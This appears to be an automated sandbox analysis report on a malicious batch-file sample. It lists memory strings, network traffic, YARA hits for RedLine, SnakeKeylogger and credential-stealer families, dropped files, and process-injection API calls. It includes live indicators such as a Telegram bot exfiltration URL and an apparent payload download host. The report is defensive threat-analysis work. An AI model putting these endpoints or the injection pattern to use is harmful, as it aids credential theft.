0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000019.00000002.2779535012.0000000002662000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com0
Source: powershell.exe, 0000000E.00000002.2558666717.00000000042F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: x.exe, 00000006.00000002.2450193992.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/
Source: x.exe, 00000006.00000002.2508181748.0000000020B7D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/wps/200
Source: x.exe, 00000006.00000002.2508181748.0000000020B7D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com/wps/200_Oupzhkprnvw
Source: x.exe, 00000006.00000002.2450193992.0000000000609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwaziacademy.com:443/wps/200_Oupzhkprnvw
Source: powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002671000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002671000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Microsofts.exe, 0000000D.00000002.4634725765.0000000002671000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
Source: Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.1d
Source: x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.2.6:49813 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.1.rpkhzpuO.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.1.rpkhzpuO.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 29.1.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 29.1.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 29.2.rpkhzpuO.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 29.2.rpkhzpuO.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0000001D.00000002.2840097800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000001D.00000001.2760141830.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

File dump: apihost.exe.12.dr 665670656

Jump to dropped file

Found large BAT file

Source: PO#3_RKG367.bat

Static file information: 2158506

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C48254 NtReadVirtualMemory,	6_2_02C48254
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C484C4 NtUnmapViewOfSection,	6_2_02C484C4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C4DACC RtlDosPa,NtCreateFile,NtWriteFile,NtClose,	6_2_02C4DACC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C4DA44 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	6_2_02C4DA44
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C4DBB0 RtlDosPa,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	6_2_02C4DBB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C48BB0 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	6_2_02C48BB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C479B4 NtAllocateVirtualMemory,	6_2_02C479B4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C47D00 NtWriteVirtualMemory,	6_2_02C47D00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C48BAE GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	6_2_02C48BAE
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C4D9F0 RtlInitUnicodeString,RtlDosPa,NtDeleteFile,	6_2_02C4D9F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C479B2 NtAllocateVirtualMemory,	6_2_02C479B2
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA8254 NtReadVirtualMemory,	21_2_02BA8254
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA84C4 NtUnmapViewOfSection,	21_2_02BA84C4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BADACC NtCreateFile,NtWriteFile,NtClose,	21_2_02BADACC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BADA44 NtDeleteFile,	21_2_02BADA44
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA8BB0 Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	21_2_02BA8BB0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BADBB0 NtOpenFile,NtReadFile,NtClose,	21_2_02BADBB0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA79B4 NtAllocateVirtualMemory,	21_2_02BA79B4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA7D00 NtWriteVirtualMemory,	21_2_02BA7D00
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA8BAE Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread,	21_2_02BA8BAE
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BA79B2 NtAllocateVirtualMemory,	21_2_02BA79B2
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02BAD9F0 NtDeleteFile,	21_2_02BAD9F0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC8254 NtReadVirtualMemory,	25_2_02DC8254
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC84C4 NtUnmapViewOfSection,	25_2_02DC84C4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DCDACC RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	25_2_02DCDACC
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DCDA44 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	25_2_02DCDA44
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC8BB0 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	25_2_02DC8BB0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DCDBB0 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	25_2_02DCDBB0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC79B4 NtAllocateVirtualMemory,	25_2_02DC79B4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC7D00 NtWriteVirtualMemory,	25_2_02DC7D00
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC8BAE GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	25_2_02DC8BAE
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DCD9F0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	25_2_02DCD9F0
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DC79B2 NtAllocateVirtualMemory,	25_2_02DC79B2

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C485DC CreateProcessAsUserW,

6_2_02C485DC

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 6_2_02C320C4	6_2_02C320C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00408C60	10_1_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_0040DC11	10_1_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00407C3F	10_1_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00418CCC	10_1_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00406CA0	10_1_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_004028B0	10_1_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_0041A4BE	10_1_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00418244	10_1_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00401650	10_1_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00402F20	10_1_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_004193C4	10_1_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00418788	10_1_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00402F89	10_1_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00402B90	10_1_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_004073A0	10_1_004073A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_00BBC530	13_2_00BBC530
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_00BB2DD1	13_2_00BB2DD1
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_00BB9480	13_2_00BB9480
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_00BBC521	13_2_00BBC521
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_00BB946F	13_2_00BB946F
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C91A0	13_2_051C91A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C8030	13_2_051C8030
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C60D8	13_2_051C60D8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C7390	13_2_051C7390
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C6D48	13_2_051C6D48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C79E0	13_2_051C79E0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3598	13_2_051C3598
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3588	13_2_051C3588
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C15F8	13_2_051C15F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C15E8	13_2_051C15E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2438	13_2_051C2438
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2427	13_2_051C2427
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0498	13_2_051C0498
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0488	13_2_051C0488
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C869F	13_2_051C869F
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C86B0	13_2_051C86B0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C46F8	13_2_051C46F8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C46E9	13_2_051C46E9
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3132	13_2_051C3132
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3140	13_2_051C3140
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C1190	13_2_051C1190
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C9190	13_2_051C9190
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C11A0	13_2_051C11A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C51D8	13_2_051C51D8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C51E8	13_2_051C51E8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0006	13_2_051C0006
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C8024	13_2_051C8024
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0040	13_2_051C0040
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C60C9	13_2_051C60C9
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C7380	13_2_051C7380
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C4290	13_2_051C4290
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C42A0	13_2_051C42A0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0D39	13_2_051C0D39
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C6D37	13_2_051C6D37
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C0D48	13_2_051C0D48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2CD8	13_2_051C2CD8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2CE8	13_2_051C2CE8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3E38	13_2_051C3E38
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C3E48	13_2_051C3E48
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C1E9A	13_2_051C1E9A
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C1EA8	13_2_051C1EA8
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C79D0	13_2_051C79D0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C39F0	13_2_051C39F0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C39E1	13_2_051C39E1
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2890	13_2_051C2890
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C2880	13_2_051C2880
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C08F0	13_2_051C08F0
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C08E1	13_2_051C08E1
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C4B50	13_2_051C4B50
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C4B40	13_2_051C4B40
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C1A50	13_2_051C1A50
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Code function: 13_2_051C1A40	13_2_051C1A40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_007EB490	14_2_007EB490
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 21_2_02B920C4	21_2_02B920C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00408C60	24_2_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_0040DC11	24_2_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00407C3F	24_2_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00418CCC	24_2_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00406CA0	24_2_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_004028B0	24_2_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_0041A4BE	24_2_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00418244	24_2_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00401650	24_2_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00402F20	24_2_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_004193C4	24_2_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00418788	24_2_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00402F89	24_2_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00402B90	24_2_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_004073A0	24_2_004073A0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_31D71030	24_2_31D71030
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_31D71020	24_2_31D71020
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_351847B8	24_2_351847B8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_351847A8	24_2_351847A8
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DB20C4	25_2_02DB20C4
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: 25_2_02DBD59B	25_2_02DBD59B
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00408C60	29_2_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_0040DC11	29_2_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00407C3F	29_2_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00418CCC	29_2_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00406CA0	29_2_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_004028B0	29_2_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_0041A4BE	29_2_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00418244	29_2_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00401650	29_2_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00402F20	29_2_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_004193C4	29_2_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00418788	29_2_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00402F89	29_2_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00402B90	29_2_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_004073A0	29_2_004073A0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_24E31020	29_2_24E31020
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_24E31030	29_2_24E31030
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_253F47B8	29_2_253F47B8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_253F47A8	29_2_253F47A8
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00408C60	29_1_00408C60
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_0040DC11	29_1_0040DC11
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00407C3F	29_1_00407C3F
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00418CCC	29_1_00418CCC
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00406CA0	29_1_00406CA0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_004028B0	29_1_004028B0
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_0041A4BE	29_1_0041A4BE
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00418244	29_1_00418244
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00401650	29_1_00401650
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00402F20	29_1_00402F20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_004193C4	29_1_004193C4
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00418788	29_1_00418788
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00402F89	29_1_00402F89
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00402B90	29_1_00402B90
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_004073A0	29_1_004073A0
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_05841B94	30_2_05841B94
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_0584DAAC	30_2_0584DAAC
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_0584E5AF	30_2_0584E5AF
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_058425A8	30_2_058425A8
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_058425B8	30_2_058425B8
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_0584E608	30_2_0584E608
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_0584417A	30_2_0584417A
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_05841D20	30_2_05841D20
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_05841B88	30_2_05841B88
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_05841BE8	30_2_05841BE8
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Code function: 30_2_058B3360	30_2_058B3360

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\rpkhzpuO.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C3480C appears 931 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C344AC appears 73 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C346A4 appears 244 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C344D0 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C487A0 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 02C48824 appears 45 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02B946A4 appears 154 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02DB46A4 appears 154 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02DB480C appears 619 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02DC87A0 appears 48 times
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: String function: 02B9480C appears 619 times
